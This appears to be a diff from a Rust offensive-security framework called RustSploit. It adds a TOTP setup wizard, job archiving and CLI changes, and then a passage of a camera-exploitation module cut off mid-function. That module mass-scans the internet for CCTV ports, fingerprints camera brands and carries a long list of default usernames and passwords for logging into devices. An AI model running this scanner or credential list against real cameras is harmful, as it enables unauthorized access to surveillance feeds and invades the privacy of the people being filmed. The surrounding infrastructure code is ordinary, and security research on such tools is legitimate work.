pub async fn update_job(&self, id: &str, output: String, status: JobStatus) -> Result<()> {
let mut jobs = self.jobs.write().await;
if let Some(job) = jobs.iter_mut().find(|j| j.id == id) {
// Truncate output if too large
let (final_output, truncated) = if output.len() > MAX_OUTPUT_SIZE {
let truncated_output = format!(
"{}\n\n[OUTPUT TRUNCATED - exceeded {}MB limit]",
&output[..MAX_OUTPUT_SIZE - 100],
MAX_OUTPUT_SIZE / 1024 / 1024
);
(truncated_output, true)
} else {
(output, false)
};
job.output = final_output;
job.truncated = truncated;
job.status = status;
job.completed_at = Some(Utc::now());
// Calculate duration
let now = Utc::now().timestamp_millis();
job.duration_ms = Some((now - job.started_at.timestamp_millis()) as u64);
}
Ok(())
}
/// Create a new job entry with empty output
pub fn create_job(id: String, module: String, target: String) -> JobResult {
JobResult {
id,
module,
target,
output: String::new(),
truncated: false,
status: JobStatus::Running,
started_at: Utc::now(),
completed_at: None,
duration_ms: None,
}
}
/// Archive jobs to a compressed, immutable tar.gz file
async fn archive_jobs(&self, jobs: Vec<JobResult>) -> Result<()> {
if jobs.is_empty() {
return Ok(());
}
let timestamp = Utc::now().format("%Y%m%d_%H%M%S");
let archive_name = format!("jobs_{}.tar.gz", timestamp);
let archive_path = self.archive_dir.join(&archive_name);
let checksum_path = self.archive_dir.join(format!("jobs_{}.sha256", timestamp));
// Create tar.gz archive
let tar_gz = File::create(&archive_path)
.context("Failed to create archive file")?;
let enc = GzEncoder::new(tar_gz, Compression::default());
let mut tar = tar::Builder::new(enc);
// Add each job as a JSON file in the archive
for job in &jobs {
let job_json = serde_json::to_string_pretty(job)
.context("Failed to serialize job")?;
let mut header = tar::Header::new_gnu();
header.set_size(job_json.len() as u64);
header.set_mode(0o444); // Read-only
header.set_cksum();
tar.append_data(
&mut header,
format!("{}.json", job.id),
job_json.as_bytes(),
).context("Failed to add job to archive")?;
}
// Finish the archive
let enc = tar.into_inner()
.context("Failed to finalize tar archive")?;
enc.finish()
.context("Failed to finalize gzip compression")?;
// Calculate SHA256 checksum
let mut file = File::open(&archive_path)
.context("Failed to open archive for checksum")?;
let mut hasher = Sha256::new();
let mut buffer = [0u8; 8192];
loop {
let n = file.read(&mut buffer)?;
if n == 0 { break; }
hasher.update(&buffer[..n]);
}
let checksum = format!("{:x} {}\n", hasher.finalize(), archive_name);
// Write checksum file
let mut checksum_file = File::create(&checksum_path)
.context("Failed to create checksum file")?;
checksum_file.write_all(checksum.as_bytes())
.context("Failed to write checksum")?;
// Make archive and checksum read-only
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
fs::set_permissions(&archive_path, fs::Permissions::from_mode(0o444))
.context("Failed to set archive permissions")?;
fs::set_permissions(&checksum_path, fs::Permissions::from_mode(0o444))
.context("Failed to set checksum permissions")?;
}
eprintln!("[INFO] Archived {} jobs to {}", jobs.len(), archive_path.display());
// Cleanup old archives if disk limit exceeded
Self::cleanup_old_archives(&self.archive_dir)?;
Ok(())
}
/// Delete oldest archives if total size exceeds MAX_ARCHIVE_SIZE_BYTES (1GB)
fn cleanup_old_archives(archive_dir: &PathBuf) -> Result<()> {
let mut archives: Vec<_> = fs::read_dir(archive_dir)?
.filter_map(|e| e.ok())
.filter(|e| e.path().extension().map_or(false, |ext| ext == "gz"))
.collect();
// Sort by modification time (oldest first)
archives.sort_by_key(|e| e.metadata().ok().and_then(|m| m.modified().ok()));
let total_size: u64 = archives.iter()
.filter_map(|e| e.metadata().ok().map(|m| m.len()))
.sum();
if total_size > MAX_ARCHIVE_SIZE_BYTES {
let mut freed = 0u64;
for entry in &archives {
if total_size - freed <= MAX_ARCHIVE_SIZE_BYTES {
break;
}
if let Ok(metadata) = entry.metadata() {
let size = metadata.len();
let path = entry.path();
if fs::remove_file(&path).is_ok() {
// Also remove matching .sha256 file
let mut sha_path = path.clone();
sha_path.set_extension("sha256");
let _ = fs::remove_file(sha_path);
freed += size;
eprintln!("[CLEANUP] Removed old archive: {} (freed {} bytes)", path.display(), size);
}
}
}
eprintln!("[CLEANUP] Total freed: {} bytes", freed);
}
Ok(())
}
/// List all jobs in memory
pub async fn list_jobs(&self) -> Vec<JobResult> {
let jobs = self.jobs.read().await;
jobs.iter().cloned().collect()
}
/// Get archive directory path
pub fn archive_dir(&self) -> &PathBuf {
&self.archive_dir
}
}
impl Default for JobArchive {
fn default() -> Self {
match Self::new() {
Ok(archive) => archive,
Err(e) => {
eprintln!("[!] Warning: Failed to create job archive: {}. Using fallback.", e);
// Fallback to current directory
Self {
archive_dir: std::env::current_dir().unwrap_or_else(|_| std::path::PathBuf::from(".")),
jobs: std::sync::Arc::new(tokio::sync::RwLock::new(std::collections::VecDeque::new())),
}
}
}
}
}
/// Output buffer with overflow protection
pub struct OutputBuffer {
buffer: String,
max_size: usize,
truncated: bool,
}
impl OutputBuffer {
pub fn new() -> Self {
Self {
buffer: String::with_capacity(1024 * 64), // 64KB initial
max_size: MAX_OUTPUT_SIZE,
truncated: false,
}
}
/// Append data to buffer, respecting max size
pub fn append(&mut self, data: &str) {
if self.truncated {
return; // Already at max, ignore further input
}
let remaining = self.max_size.saturating_sub(self.buffer.len());
if remaining == 0 {
self.truncated = true;
self.buffer.push_str("\n\n[OUTPUT TRUNCATED]");
return;
}
if data.len() <= remaining {
self.buffer.push_str(data);
} else {
self.buffer.push_str(&data[..remaining]);
self.truncated = true;
self.buffer.push_str("\n\n[OUTPUT TRUNCATED]");
}
}
/// Get the final output
pub fn finish(self) -> (String, bool) {
(self.buffer, self.truncated)
}
}
impl Default for OutputBuffer {
fn default() -> Self {
Self::new()
}
}
+257 -20
View File
@@ -11,6 +11,8 @@ mod modules;
mod utils;
mod api;
mod config;
mod totp_config;
mod job_archive;
/// Custom error types for CLI operations
#[derive(Debug)]
@@ -78,13 +80,6 @@ const MAX_BIND_ADDRESS_LENGTH: usize = 128;
/// Maximum IP limit for hardening mode
const MAX_IP_LIMIT: u32 = 10000;
/// Helper for verbose logging
fn verbose_log(verbose: bool, message: &str) {
if verbose {
eprintln!("{} {}", "[VERBOSE]".dimmed(), message.dimmed());
}
}
/// Prints CLI usage hint
fn print_usage_hint() {
eprintln!("{}", "Usage hints:".yellow().bold());
@@ -125,7 +120,6 @@ fn validate_cli_flags(cli_args: &cli::Cli) -> Result<()> {
eprintln!("{}", " Hardening features are only active in API server mode.".yellow());
eprintln!();
print_usage_hint();
print_usage_hint();
return Err(anyhow!(CliError::InvalidFlagCombination {
flag1: "--harden".to_string(),
flag2: "no --api".to_string(),
@@ -229,6 +223,226 @@ fn validate_ip_limit(limit: u32) -> Result<u32> {
Ok(limit)
}
/// TOTP setup wizard - runs interactively to configure TOTP for API authentication
async fn run_totp_setup_wizard() -> Result<()> {
use std::io::{self, Write};
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan().bold());
println!("{}", "║ TOTP AUTHENTICATION SETUP WIZARD ║".cyan().bold());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan().bold());
println!();
let mut config = totp_config::TotpConfig::load()
.context("Failed to load TOTP configuration")?;
loop {
// Show menu
println!("{}", "Options:".yellow().bold());
println!(" {} List existing TOTP accounts", "1.".cyan());
println!(" {} Add new TOTP (link to API token)", "2.".cyan());
println!(" {} Remove TOTP account", "3.".cyan());
println!(" {} Exit", "4.".cyan());
println!();
print!("{}", "Enter choice [1-4]: ".cyan().bold());
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
let choice = choice.trim();
match choice {
"1" => {
// List accounts
let accounts = config.list_accounts();
if accounts.is_empty() {
println!();
println!("{}", "No TOTP accounts configured.".yellow());
} else {
println!();
println!("{}", "Configured TOTP accounts:".green().bold());
for (short_hash, entry) in &accounts {
let status = if entry.enabled { "✓ Enabled" } else { "✗ Disabled" };
println!(" {} Token: {} | Label: {} | Created: {} | {}",
"".green(),
short_hash.cyan(),
entry.label,
entry.created_at,
status
);
}
}
println!();
}
"2" => {
// Add new TOTP
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan().bold());
println!("{}", "║ ADD NEW TOTP ACCOUNT ║".cyan().bold());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan().bold());
println!();
println!("{}", "Enter the API token to link this TOTP to:".cyan());
println!("{}", " (This is the token you'll use with --api-key)".dimmed());
print!("{}", "API Token: ".cyan().bold());
io::stdout().flush()?;
let mut token_input = String::new();
io::stdin().read_line(&mut token_input)?;
let token = token_input.trim();
if token.is_empty() {
println!("{}", "Token cannot be empty.".red());
continue;
}
// Check if already exists
if config.is_configured_for_token(token) {
println!("{}", "TOTP already exists for this token. Remove it first.".red());
continue;
}
print!("{}", "Label (e.g., 'admin@server1') [default]: ".cyan());
io::stdout().flush()?;
let mut label_input = String::new();
io::stdin().read_line(&mut label_input)?;
let label = label_input.trim();
let label = if label.is_empty() {
format!("RustSploit-{}", &totp_config::TotpConfig::hash_token(token)[..8])
} else {
label.to_string()
};
println!();
println!("{}", "Generating TOTP secret...".green());
match config.generate_secret_for_token(token, &label) {
Ok((secret, _url, token_hash)) => {
// Generate QR code
let qr_path = std::env::current_dir()
.unwrap_or_else(|_| std::path::PathBuf::from("."))
.join(format!("totp_qr_{}.png", &token_hash[..8]));
match config.generate_qr_png_for_token(token) {
Ok(png_data) => {
if let Err(e) = std::fs::write(&qr_path, &png_data) {
eprintln!("{}", format!("[WARN] Failed to save QR: {}", e).yellow());
} else {
println!();
println!("{}", format!("QR Code saved: {}", qr_path.display()).green().bold());
println!("{}", "Scan with Google Authenticator, Authy, etc.".cyan());
}
}
Err(e) => eprintln!("{}", format!("[WARN] QR generation failed: {}", e).yellow()),
}
println!();
println!("{}", "Or enter this secret manually:".cyan());
println!(" {}", secret.green().bold());
println!();
println!("{}", format!("Token hash: {}...", &token_hash[..16]).dimmed());
println!();
// Verification loop
loop {
print!("{}", "Enter 6-digit code to verify: ".cyan().bold());
io::stdout().flush()?;
let mut code_input = String::new();
io::stdin().read_line(&mut code_input)?;
let code = code_input.trim();
if code.eq_ignore_ascii_case("cancel") || code.eq_ignore_ascii_case("q") {
println!("{}", "Setup cancelled.".red());
let _ = config.remove_entry_by_token(token);
break;
}
match config.verify_code_for_token(token, code) {
Ok(true) => {
println!();
println!("{}", "╔══════════════════════════════════════════════════════════════╗".green().bold());
println!("{}", "║ ✓ TOTP SETUP SUCCESSFUL! ║".green().bold());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold());
println!();
println!("{}", "IMPORTANT:".yellow().bold());
println!(" • This TOTP is linked to THIS specific API token");
println!(" • TOTP required every 30 minutes when using --harden-totp");
println!(" • Use X-TOTP-Code header in API requests");
println!();
println!("{}", "Example:".dimmed());
println!("{}", format!(" cargo run -- --api --api-key \"{}\" --harden-totp",
if token.len() > 20 { format!("{}...", &token[..20]) } else { token.to_string() }
).dimmed());
println!("{}", " curl -H 'Authorization: Bearer YOUR_TOKEN' -H 'X-TOTP-Code: 123456' ...".dimmed());
// Clean up QR
if qr_path.exists() {
let _ = std::fs::remove_file(&qr_path);
println!();
println!("{}", format!("QR deleted: {}", qr_path.display()).dimmed());
}
break;
}
Ok(false) => println!("{}", "Invalid code. Try again or type 'cancel'.".red()),
Err(e) => println!("{}", format!("Error: {}", e).red()),
}
}
}
Err(e) => println!("{}", format!("Failed to generate TOTP: {}", e).red()),
}
println!();
}
"3" => {
// Remove TOTP
let hashes = config.get_all_token_hashes();
if hashes.is_empty() {
println!();
println!("{}", "No TOTP accounts to remove.".yellow());
println!();
continue;
}
println!();
println!("{}", "Select account to remove:".yellow().bold());
for (i, hash) in hashes.iter().enumerate() {
if let Some(entry) = config.get_entry_by_hash(hash) {
println!(" {} {}... ({})", format!("{}.", i + 1).cyan(), &hash[..12], entry.label);
}
}
println!(" {} Cancel", format!("{}.", hashes.len() + 1).cyan());
println!();
print!("{}", "Choice: ".cyan().bold());
io::stdout().flush()?;
let mut rm_choice = String::new();
io::stdin().read_line(&mut rm_choice)?;
if let Ok(idx) = rm_choice.trim().parse::<usize>() {
if idx > 0 && idx <= hashes.len() {
let hash = &hashes[idx - 1];
match config.remove_entry_by_hash(hash) {
Ok(true) => println!("{}", "Account removed successfully.".green()),
Ok(false) => println!("{}", "Account not found.".yellow()),
Err(e) => println!("{}", format!("Error: {}", e).red()),
}
}
}
println!();
}
"4" | "q" | "exit" => {
println!("{}", "Exiting TOTP wizard.".cyan());
break;
}
_ => println!("{}", "Invalid choice.".red()),
}
}
Ok(())
}
#[tokio::main]
async fn main() {
if let Err(e) = run().await {
@@ -248,19 +462,25 @@ async fn run() -> Result<()> {
// Parse command-line arguments
let cli_args = cli::Cli::parse();
verbose_log(cli_args.verbose, "CLI arguments parsed successfully");
utils::verbose_log(cli_args.verbose, "CLI arguments parsed successfully");
// Validate CLI flag combinations (prints warnings for common mistakes)
verbose_log(cli_args.verbose, "Validating CLI flags...");
utils::verbose_log(cli_args.verbose, "Validating CLI flags...");
validate_cli_flags(&cli_args)?;
// Handle list_modules flag
if cli_args.list_modules {
verbose_log(cli_args.verbose, "Listing all modules...");
utils::verbose_log(cli_args.verbose, "Listing all modules...");
utils::list_all_modules();
return Ok(());
}
// Handle TOTP setup wizard
if cli_args.setup_totp {
utils::verbose_log(cli_args.verbose, "Starting TOTP setup wizard...");
return run_totp_setup_wizard().await;
}
// Check if API mode is requested
if cli_args.api {
let api_key_raw = cli_args
@@ -272,7 +492,7 @@ async fn run() -> Result<()> {
let api_key = validate_api_key(api_key_raw)
.context("Invalid API key")?;
let interface = cli_args.interface.clone().unwrap_or_else(|| "0.0.0.0".to_string());
let interface = cli_args.interface.clone().unwrap_or_else(|| "127.0.0.1".to_string());
// Validate and normalize bind address
let bind_address = validate_bind_address(&interface)
@@ -285,22 +505,36 @@ async fn run() -> Result<()> {
let ip_limit = validate_ip_limit(ip_limit_raw)
.context("Invalid IP limit")?;
verbose_log(cli_args.verbose, &format!("Starting API server on {}...", bind_address));
utils::verbose_log(cli_args.verbose, &format!("Starting API server on {}...", bind_address));
api::start_api_server(
&bind_address,
api_key,
harden,
cli_args.harden_totp,
cli_args.harden_rate_limit,
cli_args.harden_ip_tracking,
ip_limit,
cli_args.verbose,
cli_args.queue_size,
cli_args.workers,
Vec::new(), // trusted_proxies
).await?;
return Ok(());
}
// Validate target if provided (fail fast on invalid input)
if let Some(ref target) = cli_args.target {
if let Err(e) = utils::normalize_target(target) {
return Err(anyhow!(CliError::TargetInvalid {
target: target.clone(),
reason: e.to_string()
}));
}
}
// Set global target if provided
if let Some(ref target) = cli_args.set_target {
verbose_log(cli_args.verbose, &format!("Setting global target to: {}", target));
utils::verbose_log(cli_args.verbose, &format!("Setting global target to: {}", target));
// Target validation is done in config::set_target
config::GLOBAL_CONFIG.set_target(target)?;
println!("{} Global target set to: {}", "".green(), target);
@@ -308,28 +542,31 @@ async fn run() -> Result<()> {
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
if let Some(cmd) = &cli_args.command {
verbose_log(cli_args.verbose, &format!("Executing subcommand: {}", cmd));
utils::verbose_log(cli_args.verbose, &format!("Executing subcommand: {}", cmd));
commands::handle_command(cmd, &cli_args).await?;
}
// Improved module+target handling: Run module directly if both -m and -t (or global target) are present
else if let Some(ref module) = cli_args.module {
if let Some(ref target) = cli_args.target {
verbose_log(cli_args.verbose, &format!("Running module '{}' against '{}'", module, target));
utils::verbose_log(cli_args.verbose, &format!("Running module '{}' against '{}'", module, target));
commands::run_module(module, target, cli_args.verbose).await?;
} else if config::GLOBAL_CONFIG.has_target() {
let target = config::GLOBAL_CONFIG.get_target().unwrap_or_default();
verbose_log(cli_args.verbose, &format!("Running module '{}' against global target '{}'", module, target));
let target = match config::GLOBAL_CONFIG.get_target() {
Some(t) => t,
None => String::new(),
};
utils::verbose_log(cli_args.verbose, &format!("Running module '{}' against global target '{}'", module, target));
commands::run_module(module, &target, cli_args.verbose).await?;
} else {
// If only -m: Show warning, launch shell with module preselected (Phase 3 mostly, but good fallback)
eprintln!("{}", "⚠ Warning: --module specified without --target. Launching shell...".yellow());
verbose_log(cli_args.verbose, "Launching interactive shell...");
utils::verbose_log(cli_args.verbose, "Launching interactive shell...");
shell::interactive_shell(cli_args.verbose).await?;
}
}
// Otherwise, launch the interactive shell
else {
verbose_log(cli_args.verbose, "Launching interactive shell...");
utils::verbose_log(cli_args.verbose, "Launching interactive shell...");
shell::interactive_shell(cli_args.verbose).await?;
}
@@ -192,7 +192,10 @@ pub async fn check_http_form(config: &Config) -> Result<Option<(ServiceType, Str
.await
.context("[!] Failed to send HTTP form request")?;
let body = res.text().await.unwrap_or_default();
let body = match res.text().await {
Ok(t) => t,
Err(_) => String::new(),
};
if !body.contains(">Password<") {
println!("{}", format!("[+] HTTP credentials valid: {}:{}", username, password).green().bold());
+849
View File
@@ -0,0 +1,849 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::collections::{HashMap, HashSet};
use base64::prelude::*;
use rand::Rng;
use std::net::{IpAddr, Ipv4Addr};
use std::sync::atomic::{AtomicU64, Ordering};
use std::sync::Arc;
use std::time::{Duration, Instant};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::sync::{Mutex, Semaphore};
use tokio::time::timeout;
// =================================================================================
// CONSTANTS & DATA
// =================================================================================
const PORT_SCAN_TIMEOUT: u64 = 2;
const TIMEOUT: u64 = 5;
// Bogon/Private/Reserved exclusion ranges for mass scanning
const EXCLUDED_RANGES: &[&str] = &[
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
"198.51.100.0/24", "203.0.113.0/24", "192.0.2.0/24", // Documentation ranges
"1.1.1.1/32", "1.0.0.1/32", "8.8.8.8/32", "8.8.4.4/32", // Public DNS
];
// Ports to ignore when filtering scan results — hosts with ONLY these ports open
// are not cameras and should be skipped in mass scan mode
const IGNORED_SERVICE_PORTS: &[u16] = &[22, 23, 3389]; // SSH, Telnet, RDP
const COMMON_PORTS: &[u16] = &[
// Standard web ports
80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 443, 8080, 8443, 8000, 8001, 8008, 8081, 8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089,
8090, 8091, 8092, 8093, 8094, 8095, 8096, 8097, 8098, 8099,
// RTSP ports
554, 8554, 10554, 1554, 2554, 3554, 4554, 5554, 6554, 7554, 9554,
// RTMP ports
1935, 1936, 1937, 1938, 1939,
// Custom camera ports
37777, 37778, 37779, 37780, 37781, 37782, 37783, 37784, 37785, 37786, 37787, 37788, 37789, 37790,
37791, 37792, 37793, 37794, 37795, 37796, 37797, 37798, 37799, 37800,
// ONVIF ports
3702, 3703, 3704, 3705, 3706, 3707, 3708, 3709, 3710,
// VLC streaming ports
8100, 8110, 8120, 8130, 8140, 8150, 8160, 8170, 8180, 8190,
// Common alternative ports
110, 143, 993, 995,
1024, 1025, 1026, 1027, 1028, 1029, 1030,
2000, 2001, 2002, 2003, 2004, 2005,
3000, 3001, 3002, 3003, 3004, 3005,
4000, 4001, 4002, 4003, 4004, 4005,
5000, 5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010,
6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6008, 6009, 6010,
7000, 7001, 7002, 7003, 7004, 7005, 7006, 7007, 7008, 7009, 7010,
9000, 9001, 9002, 9003, 9004, 9005, 9006, 9007, 9008, 9009, 9010,
// Additional common ports
8888, 8889, 8890, 8891, 8892, 8893, 8894, 8895, 8896, 8897, 8898, 8899,
9999, 9998, 9997, 9996, 9995, 9994, 9993, 9992, 9991, 9990,
// MMS ports
1755, 1756, 1757, 1758, 1759, 1760,
// High ports
20000, 20001, 30000, 30001, 40000, 40001, 50000, 50001, 60000, 60001
];
const HTTPS_PORTS: &[u16] = &[443, 8443, 8444];
const COMMON_PATHS: &[&str] = &[
"/", "/admin", "/login", "/viewer", "/webadmin", "/video", "/stream", "/live", "/snapshot",
"/onvif-http/snapshot", "/system.ini", "/config", "/setup", "/cgi-bin/", "/api/",
"/camera", "/img/main.cgi", "/cgi-bin/admin/mjpeg.cgi", "/cgi-bin/snapshot.cgi",
"/videostream.cgi", "/axis-cgi/mjpg/video.cgi", "/video.cgi", "/image.jpg"
];
// Default credentials
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
("admin", "admin"),
("admin", "1234"),
("admin", "12345"),
("admin", "123456"),
("admin", "1234567"),
("admin", "12345678"),
("admin", "123456789"),
("admin", "admin123"),
("admin", "admin1234"),
("admin", "admin12345"),
("admin", "password"),
("admin", "pass"),
("admin", "123"),
("admin", "1111"),
("admin", "0000"),
("admin", "8888"),
("admin", "default"),
("admin", "admin@123"),
("admin", "Admin123"),
("admin", "Admin1234"),
("admin", "888888"),
("admin", "666666"),
("admin", "4321"),
("admin", "9999"),
("admin", ""),
("root", "root"),
("root", "toor"),
("root", "1234"),
("root", "12345"),
("root", "123456"),
("root", "pass"),
("root", "password"),
("root", "root123"),
("root", "admin"),
("root", "1111"),
("root", "0000"),
("root", ""),
("user", "user"),
("user", "user123"),
("user", "password"),
("user", "1234"),
("user", "12345"),
("user", "123456"),
("user", ""),
("guest", "guest"),
("guest", "guest123"),
("guest", "1234"),
("guest", "12345"),
("guest", "123456"),
("guest", ""),
("operator", "operator"),
("operator", "operator123"),
("operator", "1234"),
("operator", "12345"),
("administrator", "administrator"),
("administrator", "admin"),
("administrator", "1234"),
("administrator", "12345"),
("administrator", "123456"),
("administrator", "password"),
("supervisor", "supervisor"),
("supervisor", "1234"),
("supervisor", "12345"),
("supervisor", "123456"),
("supervisor", "password"),
("support", "support"),
("support", "support123"),
("support", "1234"),
("support", "password"),
("system", "system"),
("system", "system123"),
("system", "1234"),
("system", "12345"),
("system", "123456"),
("viewer", "viewer"),
("viewer", "viewer123"),
("viewer", "1234"),
("viewer", "12345"),
("admin1", "admin"),
("admin1", "admin1"),
("admin1", "1234"),
("admin1", "12345"),
("admin1", "123456"),
("admin1", "password"),
("888888", "888888"),
("888888", "123456"),
("888888", "000000"),
("666666", "666666"),
("666666", "123456"),
("666666", "000000"),
("", "admin"),
("", "12345"),
("", "123456"),
];
pub async fn run(target: &str) -> Result<()> {
let target = target.trim().to_string();
print_banner();
if target == "0.0.0.0" || target == "0.0.0.0/0" {
return run_mass_scan().await;
}
println!("{}", format!("[*] Target: {}", target).cyan());
// 1. Port Scan
println!("{}", format!("\n[*] Scanning {} ports...", COMMON_PORTS.len()).yellow());
let (open_ports, rtsp_ports) = check_ports(&target).await;
if open_ports.is_empty() {
println!("{}", "[-] No open camera ports found.".red());
println!("{}", "[!] Ensure the target is online and not behind a strict firewall.".yellow());
return Ok(());
}
println!("{}", format!("\n[+] Found {} open ports: {:?}", open_ports.len(), open_ports).green());
// 2. Camera Detection & Fingerprinting
let client = create_client()?;
let is_camera = check_if_camera(&target, &open_ports, &client).await;
if !is_camera {
println!("{}", "\n[-] Target does not appear to be a camera based on initial checks.".yellow());
println!("{}", "[*] Proceeding with additional checks...".cyan());
}
check_login_pages(&target, &open_ports, &client).await;
fingerprint_camera(&target, &open_ports, &client).await;
// 3. Credential Testing
test_default_passwords(&target, &open_ports, &rtsp_ports, &client).await;
// 4. Stream Detection
detect_live_streams(&target, &open_ports, &rtsp_ports, &client).await;
// 5. Additional Information
println!("{}", "\n[✅] Scan Completed!".green().bold());
Ok(())
}
fn print_banner() {
println!("{}", "\n╔══════════════════════════════════════════════════════════════╗".green().bold());
println!("{}", "║ 💀 CamXploit Rust Port - Camera Exploitation Scanner ║".green().bold());
println!("{}", "║ 🔍 Discover open CCTV cameras & security flaws ║".cyan().bold());
println!("{}", "║ ⚠️ For educational & security research purposes only! ║".yellow().bold());
println!("{}", "╚══════════════════════════════════════════════════════════════╝".green().bold());
}
fn create_client() -> Result<Client> {
Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(TIMEOUT))
.user_agent("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36")
.build()
.map_err(|e| anyhow::anyhow!(e))
}
fn get_protocol(port: u16) -> &'static str {
if HTTPS_PORTS.contains(&port) { "https" } else { "http" }
}
fn get_port_service_map() -> HashMap<u16, (&'static str, &'static str)> {
let mut map = HashMap::new();
// Web ports
map.insert(80, ("HTTP", " - Standard Web"));
map.insert(443, ("HTTPS", " - Secure Web"));
map.insert(8080, ("HTTP-Alt", " - Alternative HTTP"));
map.insert(8443, ("HTTPS-Alt", " - Alternative HTTPS"));
map.insert(8000, ("HTTP-Alt", ""));
// RTSP ports
map.insert(554, ("RTSP", " - Real Time Streaming Protocol"));
map.insert(8554, ("RTSP-Alt", " - Alternative RTSP"));
// RTMP ports
map.insert(1935, ("RTMP", " - Real Time Messaging Protocol"));
// Custom camera ports
map.insert(37777, ("DVR", " - Common DVR/NVR Port"));
// ONVIF
map.insert(3702, ("ONVIF", " - Camera Discovery"));
map
}
// =================================================================================
// PORT SCANNING
// =================================================================================
async fn check_ports(target: &str) -> (Vec<u16>, Vec<u16>) {
let mut open_ports = Vec::new();
let mut rtsp_ports = Vec::new();
let semaphore = Arc::new(Semaphore::new(100)); // Concurrency limit
let mut tasks = Vec::new();
let target_arc = Arc::new(target.to_string());
// Deduplicate ports
let unique_ports: HashSet<u16> = COMMON_PORTS.iter().cloned().collect();
let port_map = get_port_service_map();
for port in unique_ports {
let t = target_arc.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return None,
};
let addr = format!("{}:{}", t, port);
// Basic TCP Connect
if timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await.is_ok() {
// If open, probe for RTSP
let is_rtsp = probe_rtsp(&t, port).await;
return Some((port, is_rtsp));
}
None
}));
}
for task in tasks {
if let Ok(Some((port, is_rtsp))) = task.await {
open_ports.push(port);
if is_rtsp {
rtsp_ports.push(port);
}
// Logging
let (svc_name, svc_desc) = port_map.get(&port).unwrap_or(&("Unknown", ""));
let rtsp_tag = if is_rtsp { " [RTSP DETECTED]".bright_green() } else { "".normal() };
println!(" ✅ [OPEN] {}/tcp {}{}{}", port, svc_name, svc_desc, rtsp_tag);
}
}
open_ports.sort();
rtsp_ports.sort();
(open_ports, rtsp_ports)
}
async fn probe_rtsp(target: &str, port: u16) -> bool {
// Sends a minimal RTSP OPTIONS request
let addr = format!("{}:{}", target, port);
if let Ok(Ok(mut stream)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), TcpStream::connect(&addr)).await {
let request = format!(
"OPTIONS rtsp://{}:{}/ RTSP/1.0\r\nCSeq: 1\r\n\r\n",
target, port
);
if stream.write_all(request.as_bytes()).await.is_err() { return false; }
let mut buffer = [0u8; 2048];
if let Ok(Ok(n)) = timeout(Duration::from_secs(PORT_SCAN_TIMEOUT), stream.read(&mut buffer)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("RTSP/1.0") || response.contains("Public:") || response.contains("Server:") {
return true;
}
}
}
}
false
}
// =================================================================================
// FINGERPRINTING
// =================================================================================
async fn check_if_camera(target: &str, open_ports: &[u16], client: &Client) -> bool {
println!("{}", "\n[📷] Analyzing Ports for Camera Indicators...".cyan());
let found = Arc::new(Mutex::new(false));
let mut tasks = Vec::new();
for &port in open_ports {
let t = target.to_string();
let c = client.clone();
let f = found.clone();
tasks.push(tokio::spawn(async move {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, t, port);
if let Ok(resp) = c.get(&url).send().await {
let headers = format!("{:?}", resp.headers()).to_lowercase();
let status = resp.status();
let body = resp.text().await.unwrap_or_default().to_lowercase();
let mut indicators = false;
// Server header indicators
if headers.contains("hikvision") || headers.contains("dahua") || headers.contains("axis") ||
headers.contains("camera") || headers.contains("dvr") || headers.contains("nvr") ||
headers.contains("ipcam") || headers.contains("webcam") {
println!(" ✅ Camera Server Header detected on port {}", port);
indicators = true;
}
// Body indicators
if body.contains("cp plus") || body.contains("cpplus") || body.contains("uvr") {
println!(" ✅ CP Plus indicator on port {}", port);
indicators = true;
}
if body.contains("webcam") || body.contains("surveillance") || body.contains("snapshot") ||
body.contains("ipcam") || body.contains("netcam") {
println!(" ✅ Camera keyword in body on port {}", port);
indicators = true;
}
// Auth requirement check
if status == reqwest::StatusCode::UNAUTHORIZED {
println!(" ✅ Authentication required on port {} (potential camera)", port);
indicators = true;
}
if indicators {
let mut lock = f.lock().await;
*lock = true;
}
}
}));
}
for task in tasks {
let _ = task.await;
}
let result = *found.lock().await;
result
}
async fn check_login_pages(target: &str, open_ports: &[u16], client: &Client) {
println!("{}", "\n[🔍] Checking for authentication pages...".cyan());
let mut found_count = 0;
for &port in open_ports {
let protocol = get_protocol(port);
for path in COMMON_PATHS {
let url = format!("{}://{}:{}{}", protocol, target, port, path);
if let Ok(resp) = client.head(&url).send().await {
let status = resp.status();
if status.is_success() || status == reqwest::StatusCode::UNAUTHORIZED ||
status == reqwest::StatusCode::FORBIDDEN {
println!(" ✅ Found: {} (Status: {})", url, status);
found_count += 1;
}
}
}
}
if found_count == 0 {
println!(" {} No common login pages found", "[-]".yellow());
}
}
async fn fingerprint_camera(target: &str, open_ports: &[u16], client: &Client) {
println!("{}", "\n[📡] Fingerprinting Camera Type & Firmware...".cyan());
let mut found_brand = false;
for &port in open_ports {
let protocol = get_protocol(port);
let url = format!("{}://{}:{}", protocol, target, port);
if let Ok(resp) = client.get(&url).send().await {
